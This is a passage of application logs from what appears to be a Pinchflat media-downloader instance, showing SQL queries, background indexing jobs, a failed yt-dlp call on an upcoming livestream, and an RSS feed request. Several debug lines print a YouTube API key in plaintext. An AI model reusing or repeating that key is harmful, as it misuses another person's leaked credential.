'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [14] 16:29:55.020 [debug] QUERY OK source="tasks" db=0.1ms idle=248.2ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [5268248, 14, ~U[2026-10-09 21:29:55Z], ~U[2026-10-09 21:29:55Z]] 16:29:55.020 [info] {"args":{"id":14},"id":5268209,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":249434,"event":"job:stop","queue_time":480926,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:30:00.396 [info] {"source":"oban","duration":171,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:30:04.147 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=Wzir-lrTI9A --simulate --skip-download --output /downloads/Tick Talk w/ Eric Migicovsky/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/17/59/1759c871e1063a42719d22d4994880da3e4d8e5659a1cc560e5dd758ed732f02.json --sleep-requests 79 --sleep-interval 73 --sleep-subtitles 67 --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: [youtube] Wzir-lrTI9A: This live event will begin in a few moments. 16:30:04.147 [error] Error creating media item 'Wzir-lrTI9A' from URL: {:error, "ERROR: [youtube] Wzir-lrTI9A: This live event will begin in a few moments.\n", 1} 16:30:04.148 [debug] QUERY OK source="media_items" db=0.2ms idle=1454.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [42] 16:30:04.149 [debug] QUERY OK source="tasks" db=0.1ms idle=455.0ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [5268249, 42, ~U[2026-10-09 21:30:04Z], ~U[2026-10-09 21:30:04Z]] 16:30:04.149 [info] {"args":{"id":42},"id":5268208,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":80454027,"event":"job:stop","queue_time":268963,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:30:07.784 [info] {"args":{"id":12},"id":5268210,"meta":{},"system_time":1791581407784434646,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:30:07.784 [debug] QUERY OK source="sources" db=0.1ms idle=90.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [12] 16:30:07.784 [debug] QUERY OK source="settings" db=0.1ms idle=90.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:30:07.785 [debug] QUERY OK source="media_profiles" db=0.0ms idle=91.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:30:07.785 [debug] QUERY OK source="settings" db=0.0ms idle=6.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:30:07.785 [debug] Fetching recent media IDs from YouTube API for playlist: UU3KEoMzNz8eYnwBC34RaKCQ 16:30:07.785 [debug] QUERY OK source="settings" db=0.0ms idle=0.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:30:07.785 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:30:08.003 [debug] QUERY OK source="media_items" db=0.6ms idle=217.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [12, "1MNtfa4Vz3A", "SMPOq2HLKUA", "J0Jqwz1TYWY", "pWDda2xpEMs", "T7iG4HQX1k0", "y5HI3H-HonQ", "BDp3y1ESUgs", "tQXkGF1aj6g", "Dr8H7Mk0mlQ", "r8fCHfCYDM8", "zNFfKizSREg", "wynxywGRI4s", "wJruCJeJfhs", "65-gDU6-KDk", "ESky67qiImY", "YH1c3ui1YSw", "JCDjCkqhVsY", "yD5jWchlMJU", "AvdTb-b0K1Y", "r_GPHfEGYs8", "asbD9Y76skM", "tPava4N8yTA", "zDjFEJc_Wko", "lKt1uRckoK0", "X_VZkrKSxuE", "ub4JMolyisQ", "yRqmozs41jw", "EUkZGw-Ogtw", "FcaiBjj8sFU", "wzDc7xge5YI", "DRIN_5Cyfdw", "8148SmsqtPM", "4Xv2V0Ci-lM", "qHEh5yYRVpg", "Ipkp8QTQWAo", "tpdd_YDkHHM", "u4f2nkXMrfo", "pNfgQ-KqHR4", "T_u143DsQMA", "UwXJe1PjsxQ", "Yc0D5TR3fc0", "-t6uMUCLPrE", "AtOWpZbW7TY", "D46EY7Jk95E", "ZouMQaeHss4", "BYlKyhWoaak", "GQyCEfs1Uvo", "FfStumRlass", "KhM0q0vsitA", ...] 16:30:08.004 [debug] QUERY OK source="media_items" db=0.5ms idle=219.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [12] 16:30:08.005 [debug] QUERY OK source="tasks" db=0.1ms idle=219.7ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [5268250, 12, ~U[2026-10-09 21:30:08Z], ~U[2026-10-09 21:30:08Z]] 16:30:08.005 [info] {"args":{"id":12},"id":5268210,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":220960,"event":"job:stop","queue_time":339406,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:30:08.786 [info] {"args":{"id":41},"id":5268211,"meta":{},"system_time":1791581408786388546,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:30:08.786 [debug] QUERY OK source="sources" db=0.1ms idle=781.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [41] 16:30:08.786 [debug] QUERY OK source="settings" db=0.1ms idle=781.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:30:08.787 [debug] QUERY OK source="media_profiles" db=0.0ms idle=775.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:30:08.787 [debug] QUERY OK source="settings" db=0.0ms idle=7.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:30:08.787 [debug] Fetching recent media IDs from YouTube API for playlist: UUBPQEmXGMQ94cVvWwNaJYvA 16:30:08.787 [debug] QUERY OK source="settings" db=0.0ms idle=0.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:30:08.787 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:30:08.981 [debug] QUERY OK source="media_items" db=0.5ms idle=194.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [41, "JzQIZDkMcGs", "FQmnCsKHeG4", "mDxWgesjlhk", "FYehYs0_1KY", "s_zRjrdFDSc", "RRrz6zuf6Ms", "WxhkLxoNKyM", "N2v0F3yDQqs", "vI34WDt4FIs", "2soMwflGs20", "8BnHbb9-pGQ", "A4jElvPYtBA", "dpy_KlWECoQ", "Lg__qeD2DME", "58B0tLPJCks", "ANs2vOmL5Ds", "yg5DTXQFo0A", "hfp0UFJYSa0", "NT5RQQvxt-Q", "i2Yucp8hNkQ", "KHmMhUnn9LA", "u1RphBMOI7I", "bpGWAQAXSgw", "8jitxV6EzIw", "CKeWRRzBzYM", "48OxK622Acw", "KP1yTKNgcGs", "szB93HcgTwA", "5MRtnqJZXMQ", "vvnXGva7F7s", "cowwaMFuCxI", "hDLWxg2jZuw", "Ugfy9IbfNJ4", "9yYf6Q1Ay9Y", "_oICJSV5GIk", "M4NaZ8oCVuA", "19X5MGLYsEc", "XEAA5G7Pg_k", "vK_30G0UBE8", "cMvgKmq5W0k", "-BhNFwmmO2w", "idQMPGx0dak", "I70OKWI0bdw", "98pFoaJbgpg", "MEUsYtWp1jU", "9i8mDxZqGq8", "cW-9xdvTrLU", "0-9BasVcJmQ", "hOKH5x9wbEY", ...] 16:30:08.983 [debug] QUERY OK source="media_items" db=0.8ms idle=195.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [41] 16:30:08.983 [debug] QUERY OK source="tasks" db=0.1ms idle=196.3ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [5268251, 41, ~U[2026-10-09 21:30:08Z], ~U[2026-10-09 21:30:08Z]] 16:30:08.984 [info] {"args":{"id":41},"id":5268211,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":197435,"event":"job:stop","queue_time":416147,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:30:14.685 [info] {"source":"oban","duration":9950,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":7} 16:30:44.696 [info] {"source":"oban","duration":9762,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:31:00.396 [info] {"source":"oban","duration":143,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:31:14.707 [info] {"source":"oban","duration":9675,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:31:44.715 [info] {"source":"oban","duration":7419,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":1} 16:32:00.398 [info] {"source":"oban","duration":145,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:32:14.725 [info] {"source":"oban","duration":9866,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:32:44.736 [info] {"source":"oban","duration":9574,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:33:00.399 [info] {"source":"oban","duration":138,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:33:14.746 [info] {"source":"oban","duration":9648,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:33:44.756 [info] {"source":"oban","duration":9811,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":1} 16:33:52.054 [info] GET /sources/d22f5c77-f457-445b-98f3-40ec44dd3036/feed.xml 16:33:52.054 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "d22f5c77-f457-445b-98f3-40ec44dd3036"} Pipelines: [:maybe_basic_auth] 16:33:52.054 [debug] QUERY OK source="sources" db=0.0ms idle=1360.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["d22f5c77-f457-445b-98f3-40ec44dd3036"] 16:33:52.056 [debug] QUERY OK source="media_items" db=1.3ms idle=1361.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [28, 2000] 16:33:52.061 [debug] QUERY OK source="source_metadata" db=0.0ms idle=1367.6ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [28] 16:33:52.061 [debug] QUERY OK source="media_metadata" db=0.0ms idle=1049.3ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [1577900] 16:33:52.062 [info] Sent 200 in 7ms 16:34:00.400 [info] {"source":"oban","duration":136,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:34:14.766 [info] {"source":"oban","duration":9760,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:34:22.049 [info] {"args":{"id":37},"id":5268212,"meta":{},"system_time":1791581662049213715,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:34:22.050 [debug] QUERY OK source="sources" db=0.6ms idle=355.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [37] 16:34:22.050 [debug] QUERY OK source="settings" db=0.1ms idle=356.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:34:22.050 [debug] QUERY OK source="media_profiles" db=0.1ms idle=356.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:34:22.051 [debug] QUERY OK source="settings" db=0.5ms idle=7.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:34:22.051 [debug] Fetching recent media IDs from YouTube API for playlist: UUcZqcdpiaDR3wbvS2Yu9xfw 16:34:22.051 [debug] QUERY OK source="settings" db=0.0ms idle=2.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:34:22.051 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:34:22.268 [debug] QUERY OK source="media_items" db=0.6ms idle=217.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [37, "3BLxx5GpPkQ", "xXW35OmG_2s", "gMMPAjnrsg8", "6k3MCvZcNf0", "kvfyuReITgE", "-T_TIqokEBM", "17qdDkP14Ao", "FPHOLeDqI9o", "-s86EG5s4to", "7ymHZ4ad1zg", "IgrA6UWGE_w", "tA9FzgkzauM", "aqMJUkmPHUw", "cSOvVHmIwUE", "dChU-mIqI0s", "Oka7yNGFBOA", "fH_aZFRA5nQ", "J8NEUFlSRhM", "znzyBp8ruMM", "sRkxPi6IOY8", "MYX7D4TPO-I", "7oIIzbP9mLA", "zuBnPJLV8Zs", "96THecfcRbE", "9fkqORqi1wA", "bCkQhwnTpRI", "ZHt7xfhPsPg", "ZYGsrtIqxLA", "u6hjDgVUeTM", "X9cKnBwcpPE", "A0PL0Q5_AhQ", "7HAodxxPnvg", "LOc26tUJziM", "GTsYWE1QSbA", "tE4_YArfkNM", "PJgHERObbLA", "8T-uZpYUv-s", "n13CZ1XVNJI", "7O_jgUrMUs4", "E-79e3z4q1o", "xCiLvge4XXQ", "EB-HgHFEqeg", "wbbAhhj23Bo", "HjKVJeWks5o", "0m183T8j9wc", "3bUgF8AAGRU", "HaSaDehz2lc", "1n9vqO6R734", "7L-_Jzfzj-Y", ...] 16:34:22.268 [debug] QUERY OK source="settings" db=0.0ms idle=218.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:34:22.268 [debug] QUERY OK source="settings" db=0.0ms idle=218.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:34:22.269 [debug] Running yt-dlp command for action: get_media_attributes 16:34:22.269 [debug] QUERY OK source="settings" db=0.0ms idle=217.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:34:22.269 [debug] QUERY OK source="settings" 